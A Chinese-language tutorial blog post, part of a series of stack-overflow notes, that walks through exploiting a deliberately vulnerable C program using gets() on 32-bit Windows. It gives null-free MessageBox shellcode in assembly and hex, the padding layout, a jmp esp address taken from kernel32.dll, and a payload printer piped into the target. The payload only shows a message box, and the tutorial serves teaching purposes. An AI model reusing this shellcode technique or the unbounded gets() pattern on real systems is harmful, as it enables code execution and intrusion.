栈溢出笔记1.4 黑掉example_2

在1.2节中我们编写了一个有漏洞的程序,通过输入可以控制其EIP,本节,我们要让example_2运行我们的MessageBox。再看看example_2:

/*****************************************************************************/
// example_2: 演示栈溢出
#include <stdio.h>

void get_print()
{
 char str[11];

 gets(str);
 printf("%s\n", str);
}

int main()
{
 get_print();

 return 0;
}
/*****************************************************************************/

问题出在gets函数,要运行MessageBox,我们可以通过gets没有长度限制来输入1.3节中的Shellcode,但实际情况不像 example_4那么简单,有不少问题要解决。

(1)空字符
操作码含有不少空字符,在example_4中没有什么问题,因为它实际上并不是一个字符串,而是一段指令。但是现在,我们只能通过gets函数输入这段指令,因此,它必须被当做一个字符串读入。所以,它不能包含空字符。这个问题容易解决,只要把带有空字符的指令用等效的指令替换就可以了。例如,可以把PUSH 0 换为: XOR EAX,EAX; PUSH EAX。
修改后的程序如下:

/*****************************************************************************/
// example_6 替换产生空字符的指令后的程序
int main()
{
    __asm
    {
        push    ebp
        mov ebp, esp

        xor     eax, eax    // "ld"
        mov ax, 0x646c
        push    eax

        push    0x726f576f  // "oWor"
        push    0x6c6c6548  // "Hell"

        push    0x00000031  // "1"
        push    0x5f656c70  // "ple_"
        push    0x6d617865  // "exam"

        mov ax, 0x6c6c  // "ll"
        push    eax 
        push    0x642e3233  // "32.d"
        push    0x72657375  // "user"

        lea     ebx, [ebp-24h]
        push    ebx
        mov ebx, 0x7c801d7b 
        call        ebx // LoadLibraryA

        xor     eax, eax
        push    eax
        lea     ebx, [ebp-18h]
        push    ebx
        lea     ebx, [ebp-0ch]
        push    ebx
        push    eax

        mov ebx, 0x77d507ea // MessageBoxA
        call        ebx

        push    eax
        mov ebx, 0x7c81cafa // ExitProcess
        call        ebx
    }
}
/*****************************************************************************/
/*****************************************************************************/
// example_7无空字符的Shellcode
char opcode[] = "\x55\x8B\xEC\x33\xC0\x66\xB8\x6C\x64\x50\x68\x6F\x57\x6F\x72\x68\x48\x65\x6C\x6C\x6A\x31\x68\x70\x6C\x65\x5F"  
"\x68\x65\x78\x61\x6D\x66\xB8\x6C\x6C\x50\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x8D\x5D\xDC\x53\xBB\x7B"
"\x1D\x80\x7C\xFF\xD3\x33\xC0\x50\x8D\x5D\xE8\x53\x8D\x5D\xF4\x53\x50\xBB\xEA\x07\xD5\x77\xFF\xD3"
"\x50\xBB\xFA\xCA\x81\x7C\xFF\xD3";   

int main()
{
    int* ret;
    ret = (int*)&ret + 2;
    (*ret) = (int)opcode;
}
/*****************************************************************************/

这里说明一个东西——指令前缀,在操作码中会用冒号隔开,但是冒号本身不是操作码的一部分,提取操作码的时候不要加入冒号。如下:

图27

(2)无法输入的字符
如果只是abcd这种常见字符,很容易输入,但是操作码中含有一些无法输入的字符。例如,example_7中的操作码打印出来是这样子的:

图28

这个问题很容易解决,cmd命令行中有管道命令,因此,可以通过管道命令向example_2输入。用一个程序将Shellcode打印出来,然后通过管道输入到example_2即可。

(3)EIP修改为多少?
这也是最重要的问题,因为我们的目的就是控制EIP执行输入的Shellcode。那EIP修改为多少呢?当然是修改为Shellcode的首地址。但是不像 example_4中,我们明确指定Shellcode的地址,现在我们不知道。这由几种办法来解决,我们先用最笨的办法,即通过Immunity Debugger找到这个地址。
用Immunity Debugger打开example_2,这次,我们输入16个A和4个B,以及一大串C,
在get_print函数中POP EBP处下断点:

图29

查看栈的内容:
栈溢出笔记1.4 黑掉example_2_第1张图片
图30

BBBB为返回地址(EIP),因此,Shellcode起始地址为0x0012FF1C。

为了黑example_2,需要修改Shellcode,要在首部填充16个A(正常输入+填充EBP),然后填充0x0012FF1C,然后是原Shellcode。你注意到问题了吗?对的,EIP的填充地址0x0012FF1C,包含了空字符,这次,我们无法再替换掉它,而且,地址必须为四字节。因此,这种方法行不通。看来,想偷下懒都不行了。

我们需要另辟蹊径了。那么,还有什么是与栈上这个地址有关呢?与栈最密切的是EBP,ESP这两个寄存器,说到这,你可能已经知道了。是的,函数RET指令返回时取走保存的EIP之后,ESP指向的位置就是Shellcode的初始地址。

栈溢出笔记1.4 黑掉example_2_第2张图片
图31

因此,要让程序执行Shellcode,只需要一句 jmp esp就行了。所以,我们应该把EIP填充为一句jmp esp指令的地址,这样,EIP返回后,执行一句jmp esp,然后就跳转到Shellcode开始执行。但是,example_2中没有jmp esp,因此,我们需要在其它模块中找一条该指令。在Immunity Debugger中,右键Search for——All commands in all modules,键入jmp esp,查找结果如下:

栈溢出笔记1.4 黑掉example_2_第3张图片
图32

在MSVCR90D.dll和kernel32.dll中各找到一条,我们使用kernel32.dll中的,记下其地址:0x7c86467B。这个地址是可用的,不包含空字符。

下面是输出Shellcode的程序,它将通过管道将Shellcode输入给example_2:

/*****************************************************************************/
// example_5 打印Shellcode
#include <stdio.h>

char opcode[] = "AAAAAAAAAAAAAAAA\x7B\x46\x86\x7c"
"\x55\x8B\xEC\x33\xC0\x66\xB8\x6C\x64\x50\x68\x6F\x57\x6F\x72\x68\x48\x65\x6C\x6C\x6A\x31\x68\x70\x6C\x65\x5F"  
"\x68\x65\x78\x61\x6D\x66\xB8\x6C\x6C\x50\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x8D\x5D\xDC\x53\xBB\x7B"
"\x1D\x80\x7C\xFF\xD3\x33\xC0\x50\x8D\x5D\xE8\x53\x8D\x5D\xF4\x53\x50\xBB\xEA\x07\xD5\x77\xFF\xD3"
"\x50\xBB\xFA\xCA\x81\x7C\xFF\xD3";   

int main()
{
    printf("%s", opcode);
}
/*****************************************************************************/

下面是见证奇迹的时刻,在命令行下输入如下内容:

图33

弹出了MessageBox,我们成功的黑掉了具有漏洞的example_2。

你可能感兴趣的:(windows,栈溢出,shellcode)